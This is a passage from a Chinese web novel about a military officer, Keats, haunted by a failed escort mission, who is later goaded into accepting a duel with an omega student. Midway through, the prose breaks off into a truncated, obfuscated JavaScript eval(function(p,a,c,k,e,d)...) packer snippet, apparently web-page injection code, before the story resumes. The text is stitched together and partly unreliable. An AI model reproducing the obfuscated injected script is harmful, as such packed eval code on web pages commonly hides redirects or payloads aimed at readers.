济慈也可以为这位女士而死——但他很明确的知道,这是出于士兵的忠诚和职守。就算当真发生了,也必然是理性权衡、奋力求胜之后不可避免的结果。但约拿他们显然不是。 他们在恋爱的盲目中,陷入了把奉献性命当做罗曼告白的迷乱。 济慈知道这很可怕。可是他的告诫,他们却已然听不进去了。 缪勒拍着他的肩膀安慰他说——没关系,等我请他们去参加我和林博士的婚礼,他们自然就清醒了。 济慈拍开他的手,心情越发糟糕。他严肃地告诫缪勒别开这种玩笑,他们的任务是护卫和协助,跟护卫对象之间应该保持起码的尊重和距离感,不能这么轻佻。他不能直说——这种轻佻会葬送所有人的性命,但他的态度确实就有这么严厉。 缪勒中尉尴尬地笑了笑,诚恳地认错致歉。事后告诫队员们,副队长性格较真,你们在他面前适当收敛一下啊。 作为一个不通人情的年长者,济慈开始被队员们悄悄地疏远。 而后,命定的那一天到来了。 混乱之中林博士召集护卫队,请求众人护送她前往十三号据点。她有个猜测必须得尽快验证,她无法详细解释,只能告诉大家这次任务非常危险,可能会有牺牲,但她必须得去。因为这个猜测的结果关乎树海七镇未来的存亡。 济慈准尉要求她再等一等——以军团长对缪勒中尉和这位女士的重视,只要看到她的申请必然第一时间做出回应,给她调拨更多人手协助她的行动。眼下的局面,二十人出城太危险了。 林博士显得非常焦急不安,于是缪勒中尉提出反对意见——他是蓝血alpha,他有自信能确保林博士的安全。他也是护卫队长,有权根据林博士的要求临机应变。眼下不知何时才能联络到军团长,他们应该以林博士的要求为优先。 所有队员都站在缪勒中尉一边,表示如果济慈准尉实在不放心,可以单独留下等待批复和援军,由他们先行护送林博士出发。 济慈屈服了。 事后证明,只要再多等一个小时就能得到批复和增派。而一个小时的拖延,不会造成任何不可挽回的后果。他的判断是正确的,也是理性可靠的…… 但他屈服了。 在进入据点之前,他本该要求先派出斥候小队进入探查。但约拿自告奋勇请命带路,缪勒直接部署了阵型。在所有人都认定他态度消极、拖延的情况下,出于不想被进一步质疑和排斥的私心,他没能及时提出反对意见。 最终队伍被偷袭分割,缪勒没能兑现他的承诺,反而弄丢了林博士。这个从未遭遇过挫折和质疑的年轻人,在失败和危机之下陷入癫狂。 济慈强行从他手里夺过了指挥权。 那时他本该意识到,护卫队其余的士兵心底埋着要为心爱的女人赴死的浪漫,正被自毁的倾向干扰着理性。却没有把这当成该最优先处理的事项。 ——明明只要他及时喝止,他们就能清醒过来。但他却在最不该理解这种“浪漫”的时候,理解了他们不惜赴死也要将林博士救出来的决心。 不,他不是理解了,他只是想利用。 因为他错误地判断,他们依旧有机会能把林博士救出来——就算救不出来,也必须把她的论证成果带出来。树海对其余的人来说是流亡之地、历练之地、投机爆发之地,但对他来说却是唯一的容身之处。所有他视为家人的人,所有他赖以安身立命的东西都在铁马河镇。他不知道除了在树海当兵、除了完成任务之外其他活法。 所以他进一步催动了那些孩子们未经考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果他早些把道理说给那些年轻人听,如果他说得更恳切、更明白些,如果他能告诉他们死到临头他们一定会后悔…… 一切是否会有所改变? 他从自我放逐的地狱里爬出来,怀抱着或许自己当真能改变一些事的幻想。 他急切地、痛苦地剖开伤口诉说着,想要将自己的人生教训说给那些人听—— 却只对上了他们冰冷抗拒的目光。 济慈准尉捧着那杯热气蒸腾的代咖啡,漆黑的杯口里映着他惨白无神的脸。 过往的回忆如黑暗的沼泽般顺着他的脚踝向上攀爬,一点点将他吞入粘腻冰冷的地狱,他却无力挣扎。 。 贝丹东一巴掌拍在他后脑勺上,济慈迟钝地被重新打回现实,茫然地抬头看向他。 贝丹东说:“那女学生你打算怎么处置?能低头向她道歉吗?把她安排进其他班可能稍微有些麻烦,如果学生不肯妥协,你最好还是跟她道歉。” 济慈愣了愣,终于回想起来,导火索是那个omega女学生。 那女学生怎样都无所谓。 当加布里埃尔站出来反对他,当安杰洛也果断弃他而去之后——他所作的一切就已被证明全是徒劳,济慈已经没有动力、也没有理由继续教下去了。 贝丹东似乎看穿了他的心态,忽然冷笑了一声。 “是不是该让那个学生先向你道歉?” 济慈猜不透这男人想说什么,却直觉他是在嘲讽自己,紧抿着嘴唇没有搭话。 就听贝丹东说:“被一个omega女学生当众摔飞,确实会让教官威信扫地。我能理解你的心情,这种事确实挺难接受。” 济慈脑子里嗡地一声,回过神之前,已经面红耳赤地驳斥:“她那是偷袭!我根本就没做防备!” “这种话你跟我说没用,反正学生们都看到了。”贝丹东不耐烦地一摆手,“开拓兵团都是战五渣的杂兵,全靠堆人数占地盘抢战功,这点外边都传遍了。你要是有点志气,就别把屎盆子留给别人端。——五年前那一战,第七兵团可没出一个逃兵。你要丢自己的脸我不拦着,可你不能给死人脸上抹黑。” 济慈准尉张了张嘴,在理智重新回归之前,已经本能地挺直了脊背。 这时有传令兵敲门进来,俯身在贝丹东少校耳边说了几句话。 贝丹东的目光随着听到的话,转向了济慈准尉。他挥手让士兵退下,撇了撇嘴,转告济慈准尉:“刚好,那个女学生要求跟你决斗。这次人家不偷袭了,给你做足防备的时间,你敢不敢接?” 济慈站了起来。 他不明白这种时候、这种决斗究竟有什么意义。莫非接受一个omega的决斗要求,打赢了,就能扬眉吐气挽回名誉吗? 但不论贝丹东的目光,还是潜意识里的悲愤都在催促着他——走出这个房间,去跟那个omega女孩儿决斗。 ……去做从前的他绝对不会去做的事,去领受从前的他绝对无法领会的教训,去看从前的他因一次次退缩而错失机会去看的世界。 如此他才会明白自己究竟错在何处,那耗尽他狭隘人生里所有珍贵之物才终于换回的智慧,才不至在地狱里随他一道堕落沉埋。 他有什么资格在安稳地地狱里腐烂? 贝丹东抿唇一笑:“很好,看来你还有救。”